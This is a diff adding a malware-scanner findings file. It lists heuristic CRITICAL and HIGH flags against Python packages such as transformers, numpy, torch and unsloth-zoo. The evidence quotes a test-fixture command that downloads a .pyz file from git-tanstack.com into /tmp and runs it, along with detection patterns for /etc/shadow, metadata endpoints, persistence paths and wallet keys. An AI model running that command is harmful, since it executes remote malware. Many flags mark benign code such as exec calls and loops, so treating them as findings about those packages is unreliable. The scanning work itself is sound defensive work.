+      "package": "transformers",
+      "file": "transformers/testing_utils.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L252: value = os.environ[key] | L268: value = os.environ[key] | L2043: env = os.environ.copy()\nNetwork: L2475: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/testing_utils.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L2473: import socket"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/utils/import_utils.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L2439: return importlib.import_module(\".\" + module_name, self.__name__)"
+    },
+    {
+      "package": "triton",
+      "file": "triton/tools/build_extern.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\""
+    },
+    {
+      "package": "trl",
+      "file": "trl/extras/vllm_client.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L152: while True:"
+    },
+    {
+      "package": "trl",
+      "file": "trl/import_utils.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L156: return importlib.import_module(\".\" + module_name, self.__name__)"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Accesses cloud metadata/IMDS AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.re"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.url"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Installs persistence AND makes network calls (backdoor pattern)",
+      "severity": "CRITICAL",
+      "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.u"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "May-12 Shai-Hulud IOC string present in Python file",
+      "severity": "CRITICAL",
+      "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\","
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Targets cryptocurrency wallets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as r"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\","
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/security/fixtures/_build.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve("
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/security/fixtures/_build.py",
+      "check": "May-12 Shai-Hulud IOC string present in Python file",
+      "severity": "CRITICAL",
+      "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/security/fixtures/_build.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L54: \"/tmp/transformers.pyz\","
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/security/test_scan_packages.py",
+      "check": "May-12 Shai-Hulud IOC string present in Python file",
+      "severity": "CRITICAL",
+      "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\","
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/security/test_scan_packages.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L155: \"/tmp/transformers.pyz\","
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_convert_hf_to_gguf_patcher.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_quantize_gguf_q2_k_l.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L67: input_gguf=\"/tmp/in.gguf\","
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_upstream_pinned_symbols_transformers.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/device_type.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request( | L87: with urllib.request.urlopen(request, timeout = 2.5) as response:"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/llama_cpp.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L847: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1546: response = requests.get( | L2694: check = requests.get(llama_cpp_"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/llama_cpp.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L649: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L154"
+    },
+    {
+      "package": "urllib3",
+      "file": "urllib3/response.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L557: if retries is not None and retries.history:\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResp"
+    },
+    {
+      "package": "urllib3",
+      "file": "urllib3/util/ssl_.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket,"
+    },
+    {
+      "package": "attrs",
+      "file": "attr/_make.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)"
+    },
+    {
+      "package": "beartype",
+      "file": "beartype/_util/func/utilfuncmake.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)"
+    },
+    {
+      "package": "botocore",
+      "file": "botocore/vendored/six.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")"
+    },
+    {
+      "package": "cffi",
+      "file": "cffi/setuptools_ext.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)"
+    },
+    {
+      "package": "ddgs",
+      "file": "ddgs/dht/libp2p_client.py",
+      "check": "DNS exfiltration / tunneling patterns",
+      "severity": "HIGH",
+      "evidence": "L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")"
+    },
+    {
+      "package": "dill",
+      "file": "dill/_dill.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')"
+    },
+    {
+      "package": "dill",
+      "file": "dill/source.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals"
+    },
+    {
+      "package": "dnspython",
+      "file": "dns/query.py",
+      "check": "DNS exfiltration / tunneling patterns",
+      "severity": "HIGH",
+      "evidence": "L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"],"
+    },
+    {
+      "package": "execnet",
+      "file": "execnet/gateway_base.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L1290: co = compile(source + \"\\n\", file_name or \"<remote exec>\", \"exec\")\nExec: L1291: exec(co, loc)"
+    },
+    {
+      "package": "execnet",
+      "file": "execnet/script/socketserver.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L63: co = compile(source + \"\\n\", \"<socket server>\", \"exec\")\nExec: L45: exec( | L47: exec(source, locs)\"\"\" | L61: source = eval(source)"
+    },
+    {
+      "package": "fastmcp-slim",
+      "file": "fastmcp/server/auth/providers/jwt.py",
+      "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)",
+      "severity": "HIGH",
+      "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))"
+    },
+    {
+      "package": "hypothesis",
+      "file": "hypothesis/internal/scrutineer.py",
+      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
+      "severity": "HIGH",
+      "evidence": "Anti: L76: return sys.gettrace() is None | L113: sys.settrace(self.trace) | L136: sys.settrace(None)"
+    },
+    {
+      "package": "ipython",
+      "file": "IPython/core/debugger.py",
+      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
+      "severity": "HIGH",
+      "evidence": "Anti: L960: trace_function = sys.gettrace() | L961: sys.settrace(None) | L973: sys.settrace(trace_function)"
+    },
+    {
+      "package": "ipython",
+      "file": "IPython/core/debugger.py",
+      "check": "exec/eval with payload hidden in a docstring/string",
+      "severity": "HIGH",
+      "evidence": "marshal/compile/obfuscation: L310: # needed by any code which calls __import__(\"__main__\") after"
+    },
+    {
+      "package": "ipython",
+      "file": "IPython/core/debugger_backport.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L79: code = compile(source, \"<string>\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)"
+    },
+    {
+      "package": "ipython",
+      "file": "IPython/core/magics/execution.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L1178: self.shell.compile(ast_setup, \"<magic-timeit-setup>\", \"exec\") | L1179: self.shell.compile(ast_stmt, \"<magic-timeit-stmt>\", \"exec\") | L1200: code = self.shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\nExec: L1213: exec(cod"
+    },
+    {
+      "package": "ipython",
+      "file": "IPython/core/magics/execution.py",
+      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
+      "severity": "HIGH",
+      "evidence": "Anti: L972: trace = sys.gettrace() | L983: sys.settrace(trace)"
+    },
+    {
+      "package": "jinja2",
+      "file": "jinja2/environment.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)"
+    },
+    {
+      "package": "kgb",
+      "file": "kgb/spies.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L934: eval(compile(func_code_str, '<string>', 'exec'),\nExec: L934: eval(compile(func_code_str, '<string>', 'exec'),"
+    },
+    {
+      "package": "langid",
+      "file": "langid/train/common.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L44: yield marshal.load(t)\nExec: L85: key = eval(row[0])"
+    },
+    {
+      "package": "matplotlib",
+      "file": "matplotlib/sphinxext/plot_directive.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L368: compile(text, '<string>', 'exec')\nExec: L585: exec('import numpy as np\\n' | L588: exec(str(setup.config.plot_pre_code), ns) | L594: exec(code, ns)"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
+      "severity": "HIGH",
+      "evidence": "Anti: L440: time.sleep(300)"
+    },
+    {
+      "package": "networkx",
+      "file": "networkx/utils/decorators.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)"
+    },
+    {
+      "package": "numba",
+      "file": "numba/np/ufunc/array_exprs.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)"
+    },
+    {
+      "package": "numba",
+      "file": "numba/tests/support.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)"
+    },
+    {
+      "package": "numba",
+      "file": "numba/tests/test_firstlinefinder.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)"
+    },
+    {
+      "package": "numba",
+      "file": "numba/tests/test_funcdesc.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)"
+    },
+    {
+      "package": "numba",
+      "file": "numba/tests/test_import.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))"
+    },
+    {
+      "package": "numba",
+      "file": "numba/tests/test_np_functions.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)"
+    },
+    {
+      "package": "numpy",
+      "file": "numpy/testing/_private/utils.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)"
+    },
+    {
+      "package": "numpy",
+      "file": "numpy/testing/_private/utils.py",
+      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
+      "severity": "HIGH",
+      "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)"
+    },
+    {
+      "package": "numpy",
+      "file": "numpy/tests/test_public_api.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L543: core_submodule = __import__(\nExec: L405: eval(module_name)"
+    },
+    {
+      "package": "pillow",
+      "file": "PIL/Image.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:"
+    },
+    {
+      "package": "protobuf",
+      "file": "protobuf-3.19.6-nspkg.pth",
+      "check": "Unusually large executable .pth (539 bytes)",
+      "severity": "HIGH",
+      "evidence": "1 import line(s) in 539-byte .pth file"
+    },
+    {
+      "package": "pygments",
+      "file": "pygments/formatters/__init__.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)"
+    },
+    {
+      "package": "pygments",
+      "file": "pygments/lexers/__init__.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)"
+    },
+    {
+      "package": "pytest",
+      "file": "_pytest/_py/path.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L626: mod = __import__(hashtype) | L1118: __import__(modname)\nExec: L1153: exec(f.read(), mod.__dict__)"
+    },
+    {
+      "package": "pytest",
+      "file": "_pytest/assertion/rewrite.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L393: co = marshal.load(fp) | L395: trace(f\"_read_pyc({source}): marshal.load error {e}\")\nExec: L188: exec(co, module.__dict__)"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/externals/array_api_compat/torch/__init__.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")"
+    },
+    {
+      "package": "scipy",
+      "file": "scipy/optimize/_optimize.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):"
+    },
+    {
+      "package": "setuptools",
+      "file": "pkg_resources/__init__.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec')\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, nam"
+    },
+    {
+      "package": "setuptools",
+      "file": "setuptools/_distutils/compilers/C/base.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):"
+    },
+    {
+      "package": "setuptools",
+      "file": "setuptools/launch.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)"
+    },
+    {
+      "package": "setuptools",
+      "file": "setuptools/tests/config/test_pyprojecttoml.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\","
+    },
+    {
+      "package": "setuptools",
+      "file": "setuptools/tests/test_editable_install.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)"
+    },
+    {
+      "package": "setuptools",
+      "file": "setuptools/wheel.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),"
+    },
+    {
+      "package": "six",
+      "file": "six.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")"
+    },
+    {
+      "package": "sympy",
+      "file": "sympy/external/importtools.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)"
+    },
+    {
+      "package": "sympy",
+      "file": "sympy/plotting/experimental_lambdify.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)"
+    },
+    {
+      "package": "sympy",
+      "file": "sympy/utilities/lambdify.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace)"
+    },
+    {
+      "package": "tensorboard",
+      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
+      "check": "Python wheel ships large (1918 KB) JS bundle (uncommon; manually review)",
+      "severity": "HIGH",
+      "evidence": ""
+    },
+    {
+      "package": "torch",
+      "file": "torch/_dynamo/bytecode_debugger.py",
+      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
+      "severity": "HIGH",
+      "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)"
+    },
+    {
+      "package": "torch",
+      "file": "torch/_functorch/_aot_autograd/subclass_codegen.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)"
+    },
+    {
+      "package": "torch",
+      "file": "torch/fx/experimental/rewriter.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)"
+    },
+    {
+      "package": "torch",
+      "file": "torch/fx/graph_module.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)"
+    },
+    {
+      "package": "torch",
+      "file": "torch/package/package_importer.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)"
+    },
+    {
+      "package": "triton",
+      "file": "triton/runtime/interpreter.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "exec/eval with payload hidden in a docstring/string",
+      "severity": "HIGH",
+      "evidence": "marshal/compile/obfuscation: L132: r\"|\\bbytearray\\s*\\(\\s*\\[.*?\\]\\s*\\)\"  # bytearray([104,101,...]) | L135: r\"|\\bgetattr\\s*\\(\\s*__builtins__\"  # getattr(__builtins__, ...)"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_compiler_dynamic_exec.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_fused_forward_install.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_upstream_pinned_symbols_trl_vllm.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\""
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/compiler.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\ | L4292: f\"O^O/ {chr(92)}_/ {c"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/fused_losses/forward_install.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/mlx/loader.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L1739: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L141: mx.eval(model.parameters()) | L1543: model.eval() | L2126: mx.eval(model.parameters())"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/patching_utils.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
